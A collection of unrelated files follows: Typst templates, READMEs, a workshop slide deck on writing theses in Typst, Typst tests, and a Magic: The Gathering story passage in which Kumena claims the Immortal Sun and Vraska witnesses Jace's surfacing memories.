[The wizard catches the Red Eye Curse. Whenever they open their eyes
fire shoots out at random \(as Fire Bolt).],
[53],
[The wizard flies off in a random direction at great speed, landing 50
metres away \(or falling back down to earth, as it may be).],
[24],
[All shoes in the vicinity catch fire.],
[54],
[The wizard suffers a coughing fit for 1d6 turns after which 1d6
gremlins tumble out of their mouth and start biting people’s faces.],
[25],
[The wizard grows a small pair of horns.],
[55],
[The wizard instantly grows an enormous shaggy beard. It tumbles down
to the floor and gets in the way. The wizard suffers a -2 penalty to
everything until they tame that magnificent beast.],
[26],
[All of the wizard’s body hair falls out with an audible "fuff!"],
[56],
[The wizard becomes 20 years old. Today is their new birthday and they
will feel terrible if no one notices.],
[31],
[All weapons of war in the vicinity turn into flowers.],
[61],
[A calm and healthy pig appears in place of the Spell.],
[32],
[The wizard’s old face melts off and reveals a new one. It is quite
handsome.],
[62],
[The wizard’s teeth all fall out. The sudden loss causes them to
suffer a -4 penalty to making magic due to their poor diction. After
an hour a fresh set grows in.],
[33],
[The wizard disappears in a puff of smoke, never to be seen again.],
[63],
[An entirely different and random Spell goes off, directed at the same
target.],
[34],
[The wizard’s hands find a mind of their own and take a severe
disliking to the tyranny of control. They set about choking the wizard
to death only to lapse back into servitude as soon as they pass out.],
[64],
[The wizard is cursed with curses. They are unable to speak without
swearing, thus making magic impossible for the duration. Lasts 1d6
hours.],
[35],
[All animals in the vicinity are brought back to life. This includes
rations and leather, which will crawl and flap about blindly.],
[65],
[The wizard issues forth a mighty sneeze, knocking everyone over in
front of them and dealing 1d6 Damage unless they successfully Test
their Luck.],
[36],
[A sickness overcomes the wizard, causing them to cough up a thick
black fluid. The fluid flows away as though in a hurry to be
somewhere. The wizard will soon hear rumours and suffer accusations
due to the workings of a sinister doppelgänger.],
[66],
[The Spell being cast won’t stop. It goes completely haywire, out of
control, firing off madly until the wizard is subdued.],
)
]
])
]
|
|
https://github.com/xiaodong-hu/typst-note-template | https://raw.githubusercontent.com/xiaodong-hu/typst-note-template/main/README.md | markdown | MIT License | # Example Usage
```typst
#import "./note_template.typ": *
#show: document => note(
title: [Notes for blablabla],
authors: ( // array to support multiple authors
(
name: [author one],
affiliations: (1,) // array to support multiple affiliations
),
(
name: [author two],
affiliations: (1,2)
),
),
insitutes: (
[institute one shared by both authors],
[institue two]
)
abstract: lorem(100),
two_columns: false,
show_contents: false,
show_references: false, // specify `bib_filename` if is true
document,
)
// begin documents
This is main text \
lorem(500),
```
|
https://github.com/TJ-CSCCG/tongji-slides-typst | https://raw.githubusercontent.com/TJ-CSCCG/tongji-slides-typst/main/README-EN.md | markdown | MIT License | # tongji-slides-typst
:page_facing_up: Tongji slides template | Typst
中文 | [English](README-EN.md)
> [!CAUTION]
> Since the Typst project is still in the development stage and support for some features is not perfect, there may be some issues with this template. If you encounter problems while using it, please feel free to submit an issue or PR and we will try our best to solve it.
>
## Sample Display
Below are displayed in order the “title-slide”、“example”、“matrix-slide”、“custom materix-slide”、“blank slide” and “focus-slide”。
<p align="center">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220130.png" width="30%">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220107.png" width="30%">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220153.png" width="30%">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220139.png" width="30%">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220119.png" width="30%">
<img src="https://raw.githubusercontent.com/xbunax/blogImg/main/202405181220080.png" width="30%">
</p>
## How to Use
### Local Compilation
#### 1. Install Typst
Refer to the [Typst](https://github.com/typst/typst?tab=readme-ov-file#installation) official documentation for installation.
#### 2. clone this project
```bash
git clone https://github.com/TJ-CSCCG/tongji-slides-typst.git
cd tongji-slides-typst
```
```bash
typst compile main.typ
typst2pngpdf main.typ ##script to compile pdf to png,need to install imagemask
```
### compile
Use this template for online compilation at [Typst App](https://typst.app).
## 如何为该项目贡献代码?
Please see [How to pull request](CONTRIBUTING.md/#how-to-pull-request).
## 开源协议
This project is licensed under the [MIT License](LICENSE).
|
https://github.com/TGM-HIT/typst-thesis-workshop | https://raw.githubusercontent.com/TGM-HIT/typst-thesis-workshop/main/slides/typst-workshop.typ | typst | #import "@preview/touying:0.5.2": *
#import "theme.typ": *
#import "@preview/tiaoma:0.2.0"
#import "utils.typ": *
#import "assets/mod.typ" as assets
#set document(date: none)
#show: metropolis-theme.with(
aspect-ratio: "16-9",
config-info(
title: [
Diplomarbeit schreiben mit Typst
#h(1fr)
#place(right, dy: 1.5cm, {
let url = "https://github.com/TGM-HIT/typst-thesis-workshop/blob/main/slides/typst-workshop-handout.pdf"
link(url, {
tiaoma.qrcode(url, options: (
scale: 1.8,
))
v(-0.8cm)
set text(0.4em)
set align(left)
block(width: 4.4cm)[#url]
})
})
],
// subtitle: [],
author: [<NAME>],
date: [2024],
institution: [TGM, HIT],
// logo: emoji.city,
),
)
#title-slide()
== Anforderungen an die Diplomarbeit
=== Inhalt
- aussagekräftig
- nachvollziehbar: *Quellenangaben*, *Verweise*
=== Form
- übersichtlich: *Gliederung*, *Inhaltsverzeichnis*
- ansprechend: *Qualität der Darstellung*
- einheitlich: *Farben*, *Schriften*, *Abstände*, ... zentral festgelegt
=== Aufwand -- ihr wollt (vermutlich) ...
- ... Formatierungen nicht häufig anpassen/korrigieren müssen
- ... dass Bilder verschieben das Dokument nicht zerstört
- ... ein leicht zu verwendendes Werzeug mit Features zur Kollaboration
== Die Optionen
#grid(
columns: 3 * (1fr,),
column-gutter: 0.6em,
[
#set align(top)
=== Microsoft Word
#pro-con-list[
- WYSIWYG
- einfache Bedienung
- Kollaboration (Office~365)
][
- Bilder verschieben
- keine "Erweiterbarkeit"
- kein automatisches Syntax-Highlighting
- wegen WYSIWYG: "unsichtbare" Formatierungen
]
],
[
#set align(top)
=== LaTeX
#pro-con-list[
- hohe Output-Qualität
- Programmiersprache: Features anpassbar
- Kollaboration (Overleaf, git-Versionierung)
][
- langsam
- schwer zu erlernende Sprache (Makro-basiert)
- schwer verständliche Fehlermeldungen
]
],
[
#set align(top)
=== Typst
#pro-con-list[
- gute Output-Qualität
- Programmiersprache mit vertrauterem Aufbau
- schnell
- Kollaboration (Typst~App, git-Versionierung)
][
- weniger Lernunterlagen
// - kleinere Community
- manche App-Features nur mit Typst Pro
- keine deutsche Rechtschreibprüfung
]
],
)
== Typst-Beispiel -- fast wie Markdown
#example(
````typ
= Überschrift
Ein Code-Beispiel:
```java
private int i; // Syntax Highlighting
```
== Auflistungen
- Liste
- mit Bullets
+ Liste
+ geschachtelt
+ mit Numerierung
````
)
== Typst-Beispiel -- programmierbar
#example(
```typ
#for i in array.range(1, 5) [
- Nummer #i
#if calc.odd(i) [(wichtig!)]
]
Blindtext: #lorem(8)
#table(
columns: 3,
[Col 1], [Col 2], [Col 3],
..array.range(9).map(i => {
let num = i + 1
[\##num]
})
)
```
)
== Typst-Beispiel -- Formatierung
#show table.cell.where(y: 0): set table.cell(stroke: (bottom: 1pt))
#example(
```typ
= zu unscheinbar ...
#show heading: set text(1.4em, red)
=== ... besser
#set table(stroke: (x, y) => (
bottom: if y == 0 { 1pt },
))
#table(
columns: 4,
align: right,
..array.range(12).map(i => [#i])
)
```
)
== Typst-Beispiel -- Mathematik
#example(
```typ
#set math.equation(numbering: "(1)")
Nehmen wir den Satz
des Pythagoras:
$ a^2 + b^2 = c^2 $ <pythagoras>
In @pythagoras sind $a$ und $b$ die
Katheten und $c$ ist die Hypothenuse.
```
)
== Typst-Beispiel -- LaTeX-Vergleich
#quote(
block: true,
attribution: [https://tex.stackexchange.com/questions/712967/command-for-multiplying-integers]
)[
How do I create a command, say ```latex \multiply{<first_number>}{<last_number>}```, using LaTeX3, that multiplies all the integers from `<first_number>` to `<last_number>`?
]
=== LaTeX
#[
#set text(0.8em)
```latex
\def\xmultiply#1#2{%
\ifnum#1=\numexpr#2\relax\the\numexpr#1\relax\else
\the\numexpr(#2)*\xmultiply{#1}{#2-1}\relax\fi}
\xmultiply{4}{9}
```
(die akzeptierte Antwort, die LaTeX3 konform war, hatte 10 statt 3 Zeilen für die Funktion)
]
#pause
=== Typst
#[
#set text(0.8em)
```typ
#let xmultiply(a, b) = array.range(a, b+1).product()
#xmultiply(4, 9)
```
]
== Tooling
=== Typst App
- https://typst.app
- ähnliche Bedienung wie z.B. Overleaf (aber schneller)
=== Lokale Installation
- Compiler: https://github.com/typst/typst
- `typst init` -- Projekt initialisieren
- `typst compile` -- pdf/svg/png exportieren
- `typst watch` -- bei Änderungen automatisch kompilieren
- Editor-Plugin: Tinymist -- https://myriad-dreamin.github.io/tinymist/
- für VS Code, NeoVim, ...
- Syntax Highlighting, Live Preview, Export, ...
== TGM-HIT Vorlage
#grid(
columns: (1fr, auto),
column-gutter: 1em,
[
#v(2em)
- der existierenden LaTeX-Vorlage nachempfunden
- kann mit wenigen Klicks/Befehlen verwendet werden
- enthält als "Vorwort" Anleitungen zu Literatur, Verweisen, Abbildungen, ...
=== Links
- https://typst.app/universe/package/tgm-hit-thesis
- https://github.com/TGM-HIT/typst-diploma-thesis
#v(3em)
*jetzt: Demo!*
],
assets.thesis-thumbnail(height: 95%)
)
== Zusammenfassung
- Formatierung
- Quellen hinzufügen, verwenden
- Abbildungen/Gleichungen/Codebeispiele einfügen, verwenden
- Daten einlesen
- Wichtige/nützliche Pakete: \
#link("https://typst.app/universe/package/cetz")[CeTZ],
#link("https://typst.app/universe/package/fletcher")[Fletcher],
#link("https://typst.app/universe/package/timeliney")[Timeliney],
#link("https://typst.app/universe/package/subpar")[Subpar],
#link("https://typst.app/universe/package/physica")[Physica],
#link("https://typst.app/universe/package/mitex")[MiTeX],
#link("https://typst.app/universe/package/touying")[(Touying)]
- weitere Unterlagen:
- Dokumentation: https://typst.app/docs/
- Bibliotheken: https://typst.app/universe/
- Discord: https://discord.gg/2uDybryKPe
|
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/ucd/block-DB80.typ | typst | Apache License 2.0 | #let data = (
"0": ("<Private Use High Surrogate, First>", "Cs", 0),
"7f": ("<Private Use High Surrogate, Last>", "Cs", 0),
)
|
https://github.com/jneug/schule-typst | https://raw.githubusercontent.com/jneug/schule-typst/main/src/themes/classic.typ | typst | MIT License | /********************************\
* Variables and some functions *
* for setting a common theme *
\********************************/
#let typst-text = text
// General colors
#let primary = luma(20%)
#let secondary = luma(50%)
#let muted = luma(88%)
// General backgrounds
#let bg = (
primary: primary.lighten(90%),
secondary: secondary.lighten(90%),
muted: muted.lighten(90%),
code: muted.lighten(90%),
solution: muted.lighten(85%),
)
// Text colors
#let text = (
default: black,
light: white,
header: luma(20%), // primary
footer: luma(70%),
title: primary,
subject: luma(33%),
primary: white,
secondary: white
)
// Font settings
#let fonts = (
default: ("Liberation Serif",),
headings: ("Liberation Sans",),
code: (),
serif: "Liberation Sans",
sans: ("Liberation Sans",),
)
// Table colors and styles
#let table = (
header: bg.primary,
even: bg.muted,
odd: white,
stroke: .6pt + muted,
)
#let cards = (
type1: rgb("#36c737"),
type2: rgb("#ffcc02"),
type3: rgb("#cd362c"),
help: rgb("#b955b6"),
back: rgb("#ffffb2"),
)
#let init(body) = {
body
}
|
https://github.com/LDemetrios/Typst4k | https://raw.githubusercontent.com/LDemetrios/Typst4k/master/src/test/resources/suite/math/text.typ | typst | // Test that setting font features in math.equation has an effect.
--- math-font-fallback ---
// Test font fallback.
$ よ and 🏳️🌈 $
--- math-text-color ---
// Test text properties.
$text(#red, "time"^2) + sqrt("place")$
--- math-font-features ---
$ nothing $
$ "hi ∅ hey" $
$ sum_(i in NN) 1 + i $
#show math.equation: set text(features: ("cv01",), fallback: false)
$ nothing $
$ "hi ∅ hey" $
$ sum_(i in NN) 1 + i $
--- math-optical-size-nested-scripts ---
// Test transition from script to scriptscript.
#[
#set text(size:20pt)
$ e^(e^(e^(e))) $
]
A large number: $e^(e^(e^(e)))$.
--- math-optical-size-primes ---
// Test prime/double prime via scriptsize
#let prime = [ \u{2032} ]
#let dprime = [ \u{2033} ]
#let tprime = [ \u{2034} ]
$ y^dprime-2y^prime + y = 0 $
$y^dprime-2y^prime + y = 0$
$ y^tprime_3 + g^(prime 2) $
--- math-optical-size-prime-large-operator ---
// Test prime superscript on large symbol
$ scripts(sum_(k in NN))^prime 1/k^2 $
$sum_(k in NN)^prime 1/k^2$
--- math-optical-size-frac-script-script ---
// Test script-script in a fraction.
$ 1/(x^A) $
#[#set text(size:18pt); $1/(x^A)$] vs. #[#set text(size:14pt); $x^A$]
|
|
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/033%20-%20Rivals%20of%20Ixalan/001_The%20Flood.typ | typst | #import "@local/mtgstory:0.2.0": conf
#show: doc => conf(
"The Flood",
set_name: "Rivals of Ixalan",
story_date: datetime(day: 10, month: 01, year: 2018),
author: "<NAME>, <NAME> & <NAME>",
doc
)
= KUMENA
Shaper Kumena dashed through the undergrowth, his heart pounding. He was barely using his magic—just a nudge here and there so that the undergrowth helped his passage rather than hindering it. Any greater act of spellcraft would have led Tishana straight to him.
He could feel it. He was nearing the golden city of Orazca, the resting place of the Immortal Sun. His rivals were behind him, and victory lay ahead.
Kumena plunged into a nearby river and swam with the current. The power of the golden city grew nearer, greater, and somehow #emph[brighter] . He could hear water rushing over some immense structure ahead of him. The waterfall surprised him—the water here felt as if it had only recently been tugged in a separate direction.
The river widened. Ahead the water dropped away over the lip of a vast waterfall, and Kumena swam with the current until he stopped himself at an outcropping of gold. The ankle-deep water rushed past, and strange golden spires pierced the treetops of the valley before him.
#figure(image("001_The Flood/01.jpg", width: 100%), caption: [Kumena, Tyrant of Orazca | Art by Tyler Jacobson], supplement: none, numbering: none)
He grinned. #emph[At last!]
On a shelf of rock across a thin, semicircular canyon, golden spires rose out of the jungle.
Kumena made his way around the canyon's rim. Water tumbled into the gorge far below, carried away by a subterranean river. #emph[How far and wide does that unseen channel run? ] he wondered.#emph[ Does it dwarf the Great River itself] ? Kumena contemplated what forces lay hidden beneath Ixalan's surface.
Orazca itself was massive, but he kept losing sight of it. (Him! A Shaper, the embodiment of his namesake river!) Kumena was impressed at the magic inherent in this place and its ability to remain hidden for so long. He picked his way around its perimeter until at last he reached its entrance: a massive staircase with a great archway at the top.
His heart raced and fins quivered. Who else had climbed this staircase in the last few hundred years? Had anyone? What was its original purpose? Why was it built?
No, not why. He knew why. They built it for this moment, for him to climb. The stones beneath his feet rippled with power, but it was his own power reflecting back at him.
#figure(image("001_The Flood/02.jpg", width: 100%), caption: [Hadana's Climb | Art by Titus Lunter], supplement: none, numbering: none)
Kumena ascended to the golden city at last.
He reached the archway at the top of the stairs, and the sun that shone through nearly blinded him.
#emph[Gold. It really is made of gold.]
But gold did not interest him. Eyes watched him from the shadows, animals that made their homes in these strangely pristine ruins. They did not interest him either.
He stepped into the golden city. He could feel his power growing already, and he knew with certainty that his rivals were not far behind him now. Light shone from every surface, and the sun warmed his skin. It felt like coming home.
Kumena was gripped by a sudden feeling of certainty. He knew where the Immortal Sun sat. It #emph[wanted] to be found.
"Kumena," a voice whispered from the golden walls. "<NAME> Shaper, child of the Great River, leader of your people. Come set me free."
#emph[Could it be? All this time, the golden city was a prison, not a stronghold?]
"Who's there?" shouted Kumena. "How do you know me?"
He turned, and in the shining golden facades of the city he swore he saw something move. He could not make out what it was—neither animal nor person. He wondered with alarm if it was just a trick of the light.
"I know you very well," said the voice, louder now. "Come to me."
The voice was familiar.
"How?" said Kumena. "Where are you?"
There #emph[were] reflections in the gold, of a thing that was not there. A face?
"Listen," said the voice. "Look. Follow."
"#emph[Who] are you?"
"You know who I am."
The voice was deep and commanding, the voice of a leader. It was his own.
"Is this trickery?" he asked. "Or am I lost to madness?"
The faces were his as well, a thousand tiny golden selves shining at him, eyes alight.
"Neither," said the voice. "There #emph[is] power here, Kumena. The power that was intentionally designed . . . but also an additional, inert power. A still pond. A mirror in darkness. It can do nothing . . ."
". . . without my own power to reflect," Kumena finished. "Is that it?"
"Follow," said the voice, and the many golden reflections of Kumena's own face echoed it. "Follow."
"Who #emph[are] you?"
"I am the Sun, Kumena. As you will be. #emph[Follow.] "
It was a command, delivered with all the force of his own convictions.
A labyrinth stretched out before him, serpentine corridors of stone and gold meandering off into the distance. Kumena entered the labyrinth and walked steadily, in a meditative trance, following the call of the Immortal Sun around every twist and turn. With every step, his power grew. Every surface was limned in brilliant light.
It was too bright, too warm. His fins began to curl and desiccate, his gills grew dry, and still the sun did not move in the sky.
Kumena approached a central tower, a gigantic temple. He wandered around it, sensing that #emph[this ] was where the power lay. On one side was a massive, intricate door, its entrance marked with a great seal and a complex lock. But the other side, the side facing a large central plaza, has a simple door leading to a simple staircase. The way to the top.
Kumena shivered, though he was not cold, and elected to take the path of least resistance.
He began to climb the stairs.
Up and up, one finned foot in front of the other, until he reached the top.
He stepped into the chamber, and beheld the Immortal Sun. It did not look as he expected—a dull-glowing stone surrounded by gold, and embedded in the #emph[floor] , of all places. A great open window looked out on the city beyond, and if one were to stand on top of the Immortal Sun, one would be able to see the entire city. The Immortal Sun looked like nothing more than a strange decoration in the floor, but it #emph[felt] . . . it felt like a mirror, not a light. The light was his.
#emph[I understand now.]
Kumena stepped onto the Immortal Sun and took that power, his power. The ground shifted beneath him, and his perspective shifted with it.
He was vast, all-encompassing. The shaping magic he dedicated his life to mastering now seemed a fraction of what he was capable of, the digging of children in the sand. He could feel all of Orazca and beyond. What fools the River Heralds had been, to let this power sit unused!
The city was hidden, but it was not fortified, and his rivals had no doubt already tracked him to the central spire. Kumena had reached Orazca far too easily, and they would arrive soon. He could feel them, crawling like ants, though they were far too insignificant for him to identify who among them was whom.
He flexed his fingers, and the city lurched upward, separating from the rock around it. The ground shook. Spires hidden for centuries reached upward through the jungle, and the little canyon behind the city yawned wider and farther, surrounding the city like a moat. Rivers plunged into it. Veins of gold beneath the earth ripped open—vast riches, not that Kumena cared. It was nothing but useless metal to him, just a part of the city's absurd bounty, for which he had no need or use.
#figure(image("001_The Flood/03.jpg", width: 100%), caption: [Winged Temple of Orazca | Art by Titus Lunter], supplement: none, numbering: none)
The creatures within the city stirred. The ants beyond it shifted and scurried toward it.
They had all been racing for the golden city, but the race was over. The fight for Orazca had begun, and Kumena would not see his people wiped from the face of Ixalan. Quite the opposite. #emph[Quite] the opposite, now that he had claimed what was rightfully his.
Outside himself, around himself, bathed in golden light, Kumena began to laugh.
#figure(image("001_The Flood/04.jpg", width: 100%), caption: [Kumena's Awakening | Art by <NAME>ella], supplement: none, numbering: none)
His laugh was cut short by a noise behind him.
Kumena turned his physical form, the one that stood atop the Immortal Sun, and locked eyes with a vampire.
She was grinning, and her collar was covered in dry blood.
Kumena curled his toes and centered his weight. "It is not yours to take, vampire," he warned. "One conquistador is no match for me."
"How about two?" she teased. "What do you say, <NAME>?" she tossed over her shoulder.
"I say the Butcher of Magan is right in the eyes of the Church to cleanse that which stands in her path," a voice said in response.
Kumena saw a second shape come up the stairs. He was a hierophant, with long flowing robes and a staff taller than himself. Kumena began to feel afraid.
The two vampires rushed at him.
Kumena began to conjure a defense, but was tackled to the floor. The vampires scratched and bit, and one of their swords sliced a long line into Kumena's side. He tried to wrestle the two of them off, but with each push away they would snap their jaws and attempt to hold him in place. <NAME> and Vona yanked him closer and reached with their glistening teeth for his neck.
#emph[This is not how I end. I will not allow them the satisfaction of my blood!]
Kumena wrestled, struggling from their grasp, and looked toward the window.
Vona laughed above him. "You don't want to assist us in our most holy mission?"
Kumena spat in her face, and Vona's smile grew even wider.
"Then you will die another way," she hissed.
She gripped his flesh with unnatural strength, and before Kumena could react, she threw him out the window.
Kumena's eyes went wide, and as he fell through the window he saw Vona above him, grinning with manic malice.
#figure(image("001_The Flood/05.jpg", width: 100%), caption: [Vona's Hunger | Art by <NAME>], supplement: none, numbering: none)
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
= VRASKA
Jace lay in agony on the riverbank. His hair was matted with his own blood, and his eyes shone with uncontrolled magic.
Vraska swam toward him, spitting out dirty water and squinting over the spray of the waterfall. The rocks at the base of the waterfall were jagged and massive—it was a miracle Jace had survived at all.
Vraska knew a serious injury could cause memory loss or make problem-solving difficult. One of her fellow assassins in the Ochran had grown quick-tempered after such a blow when she was younger. Jace was a telepath and an illusionist—his brain was his instrument. Vraska knew she was witnessing what happened when that instrument was damaged, and the result was not a weakening, but rather a dislodging of whatever valve prevented his mind from containing itself. He broadcasted his memories now in bursts and stops, clearly trying to wrestle them back under control.
#emph[It's over,] Vraska thought. #emph[He is going to remember everything—our fight, my profession, his title. He will hate me, surely. Gorgons are meant to be despised. ] Vraska cursed and swam toward her friend with a mournful feeling building in her chest.
She was nearly at the shore now. A sharp pain traversed her temples, and Vraska groaned. Another memory appeared in her mind—
#figure(image("001_The Flood/06.jpg", width: 100%), caption: [Sea Gate Wreckage | Art by Zack Stella], supplement: none, numbering: none)
The image was of a plane Vraska had never visited. There was a massive barrier made of white brick against a turbulent sky. The right side of the gate was tainted with a strange bismuth stain, as if a great brush of disease had been painted across its top. There was a breach at the entrance, and water from the sea poured into a demolished harbor as bits of the destroyed gate floated up and off and into the sky.
Vraska screamed in pain as the image tore through her mind. It felt like a migraine magnified, a piercing ache and flashes of aura that threatened to freeze her muscles as she fought the current.
It was less of an illusion and more of an immersion. She felt like she was #emph[there] .
The image vanished as her feet touched the riverbed below. She yelled Jace's name to try and distract him, but it was no use.
He was in agony.
#figure(image("001_The Flood/07.jpg", width: 100%), caption: [Flood of Recollection | Art by Magali Villeneuve], supplement: none, numbering: none)
Vraska pulled herself out and clambered toward Jace on the shore. She knelt at his side and tentatively reached out to him with a reassuring hand.
Vraska staggered and caught herself with her hands on the ground.
#emph[Jace—]
#emph[—Vraska—]
Vraska shut her eyes tightly. She wasn't entirely certain which end of the exchange she was on. It was tremendously disorienting.
She looked to Jace with a crease in her brow. "Jace, we need to find whoever awakened the city. You need to make an illusion so our crew can find us!"
The mind mage shut his eyes and Vraska saw what spilled up and out of his memories.
The sound of the river vanished and the hot air of the jungle turned chill.
#figure(image("001_The Flood/08.jpg", width: 100%), caption: [Art by <NAME>], supplement: none, numbering: none)
She saw a dark interior, steel-lined walls, and a half-metal man. The air had a metallic tang, and there was just enough light in the room for her to make out the gaps between the metal sections of the strange man's abdomen. Jace was on the ground below. He looked thin and world-weary, just a few years younger than he did now.
The man dropped to one knee. He gripped Jace's hair in a shiny metal fist.
"I'm going to make damn sure you learn from this debacle."
Vraska watched as the man pulled up Jace's shirt and dragged a manablade in long, arrow-straight lines down his back, then one single line down his right forearm. She cringed in horror as Jace screamed. Her breath caught in her throat and her heart beat like a bird caught in a cage. She knew what it felt like to be tortured. She felt hideously guilty—how could she have not recognized that shared hurt in him before? Empathy gripped her chest, and Vraska let out a shivering breath. The sight of Jace and the knife brought back memories of her own she dared not touch, not now, not when their minds were mixed like this.
The real Jace gasped, and Vraska's perception of reality flickered back to the sunny riverbank on Ixalan. He was doubled over, hands gripping his own bloodied hair.
Vraska had no idea what to do. She wanted to comfort but didn't know how, so she attempted to talk him back to a place of control.
"It's a memory, Jace—it's not happening now. You're safe. "
Vraska saw bright shimmering lights and felt a deep pain in her head once again. By now she had gathered that this was what signaled another influx of sensory immersion and braced for the impact. She staggered as another illusion took hold. The world rippled, fluid as water, until it settled into an illusion of a dim alleyway.
Vraska's sighed in relief. A familiar sight. Ravnica was before her once again.
#figure(image("001_The Flood/09.jpg", width: 100%), caption: [Gruul Turf | Art by <NAME>], supplement: none, numbering: none)
The Jace in front of her was pathetically young.
He couldn't have been older than fifteen, and he was seated on a broken chair amid rubble. Vraska recognized the area as one under Gruul control, given the copious amounts of both trees and recently destroyed buildings. Firelight filtered in through ragged hanging canvas, and a haggard-looking Gruul shaman stood nearby busying himself with an enchantment on his own hand. The shaman's arms were covered from shoulder to wrist with tattoos of the city streets.
The teenage Jace seated in the chair had the look about him of someone who wanted to disappear and wish someone more imposing into his place. His outfit was disheveled, the cut of it unfamiliar. Vraska sensed in the fabric of the memory that this version of Jace had arrived in Ravnica for the first time only days before.
The Gruul shaman's hand was glowing brilliant white. "This your first?" he grunted.
It took Jace a moment too long to answer. "Yes," he said timidly.
Vraska couldn't help but smile at this memory. He was the wimpiest teenager she had ever seen—no wonder he wanted a cool tattoo. It was incredibly charming. She remembered her own young street rat years and grinned at the thought of how well the teenage her and the teenage Jace would have gotten along.
#emph[We'd have torn up the town] , she thought with mirth. #emph[No bookshop would have been safe.]
"Then take a swig of that," the shaman said in the memory, pointing at a bottle on the young illusion-Jace's left. "This'll hurt like a Rakdos comedy."
Vraska chuckled at the simile as Jace followed the artist's instructions. He made a face at its taste (she didn't blame him for that) and put on a look of determination.
The shaman leaned over the teenager and drew a line with his finger down Jace's cheek, leaving a brilliant white tattoo in its place. He continued on his chin and arm, and Vraska watched as the shaman diligently painted a braver face on the nervous teenager's own.
She caught a glimpse of the paper the shaman was referencing. A series of symbols was hastily sketched on it—symbols she recognized from this Jace's future cloak. An elongated ring, open at the bottom, with a circle floating in the middle. She wondered what its significance was.
The illusion shattered, then vanished, leaving the rush of the waterfall and the shimmering gold of Orazca in its wake.
Vraska's perception was wavering, and everything had an artificial glint to it, as if the accidental illusions were smearing across reality even now. Her hands were still gripping the mud of the riverbank, physically clinging to what was real.
"Jace, you're safe and all right, but I need you to make an illusion so our crew can find us."
But Jace was still unreachable. His eyes remained bright with magic, and strength had not returned to his limbs. Vraska could see his chest rise and fall with each shuddering breath. He inhaled sharply as another wave of memory washed over him, then went utterly still in response to whatever he was seeing, his lips parted in shock.
The light above them dimmed as an illusion of this new memory coalesced into being, bringing with it the weight of dusk and the scent of too-ripe apples.
Vraska found herself in a small bedroom with bare walls and two chairs in front of the fire. She wasn't sure what plane she was on, but that was irrelevant. This room was a world unto itself, the furniture its continents, the rug its ocean, as if nothing outside of the space mattered. Dust clung to the windowsill, and a half-empty basket of fruit sat by the door, boasting a collection of bruised apples. Jace was there, naturally, and his face was lit by the cozy-looking fire. The texture of the memory was velvety and welcoming, but Vraska saw no joy in the scene.
Jace was seated in front of the fire, across from a woman in violet.
#figure(image("001_The Flood/10.jpg", width: 100%), caption: [Art by <NAME>], supplement: none, numbering: none)
Everything about the woman's body language exuded boredom, but Jace was leaning forward, rapt with interest. Vraska felt deeply uncomfortable. This was an intimate moment. She was not meant to see this.
"I never want to play chess again," Jace said, rubbing his temples.
The woman regarded him with intense disinterest. "Chess is tedious," she said in dull agreement.
Jace's cloak was hanging on the coatrack. His shoes were drying by the fire. Vraska knew she shouldn't watch, yet she knew she couldn't leave.
Jace's left index finger was tapping a rapid, unconscious rhythm on his thigh. His voice was tentative. Uncertain. "What you said back on Innistrad, about when I die . . ."
The woman's long hair tumbled over half of her face. Her lipstick was end-of-the-day faded and her eyes betrayed an indifference that Vraska prayed this version of Jace would notice.
"You remember that conversation?"
"Hard to forget a conversation like that," said Jace. "You don't meddle in sentiment unless you mean it. So . . . did you mean it?"
"What?"
He paused, cautious. "Will you be sad when I die?"
Jace was looking at the woman in violet attentively. Expectantly. Vraska's stomach lurched at the strangeness of the question. He had asked it as if he was unsure, even though the context of the moment around him implied that he and this woman were more than acquaintances.
The woman in violet looked Jace in the eye, lids heavy, knees resting to the side. "I expect so," she said. A half sentiment. A bone for the dog. "What we had, whatever you want to call it . . . it's worth that much, at least."
Vraska's mouth hung open. #emph[That's it? ] The woman's cruel dismissal of an honest plea for affection told Vraska everything she needed to know about her. Vraska's tendrils knotted in discomfort, but she couldn't look away from this poor man, this woman, this dreadful little room.
"I think that's the nicest thing you've ever said to me," Jace replied.
The woman in violet laughed. As though it were a joke. As though he hadn't said it with a desperate yearning for her approval written plainly on his face.
Vraska felt like a home invader. This domestic play of profound imbalance wasn't meant for her to see.
"You should go back. The others will notice if you don't come home tonight," said the woman.
Jace shrugged. "It's just past sunset. I've got time."
"Oh." The woman looked Jace over, visibly weighing some decision in her mind.
She stood up suddenly and crossed the room toward her vanity. Vraska sidestepped her and watched as the woman opened a drawer. She pulled out a bottle and two glasses and returned to the fireside, deftly uncorking the decanter with one swift motion. "What should we drink to?" she asked.
#emph[You don't pour a glass for someone you want to leave] , Vraska thought as her stomach dropped.
Jace was smiling. "A toast, to Emrakul," he quipped, "for doing our job for us."
The woman lifted her half-filled glass and clinked it against his.
They both drank deeply.
She refilled their glasses to the brim.
They drank in silence.
The fire crackled in the hearth.
Vraska couldn't take her eyes off the other woman. For someone who hated chess, she sure looked at Jace with the icy scrutiny of a grand master.
At last the woman in violet decided her play, disguising her probe with a lethargic sip from her glass. "Have you seen anyone since?" Vraska could hear the weight implied in that "since." The designation, the shared knowledge. "You got along well with the moonfolk woman," she added deliberately. Pawn to E4.
The game behind the statement made Vraska want to claw her way out of the room.
Jace swirled the liquid in his glass and his demeanor suddenly shifted. He glanced up at the woman in violet. "She's married."
"Is she?" the woman said, superficially pleased at the revelation. She knew full well how aggressive her opening move had been. Knight to F3.
Jace's nodded. "She was a scholar. Morally ambiguous. #emph[Married] , and not what I'm looking for even if she weren't."
The woman in violet was watching him closely.
"And what are you looking for?" she asked.
#emph[She's manipulating you into staying] , Vraska wanted to scream. #emph[You're smart. She doesn't reciprocate your feelings. Don't fall for this.]
Jace leaned back in his chair and stared at her over his glass. With great trepidation and an uncharacteristic absence of logic, his answer fluttered out. "This isn't so bad."
Vraska's heart ached. This #emph[was ] so bad, but he was too far lost to pull back the curtain of affection and see the bored cruelty of her intentions.
"#emph[This ] is just two old acquaintances, relaxing after a victory," the woman responded. "Reminiscing about the good old days."
Jace absently tugged on his right glove. "Those days weren't all good."
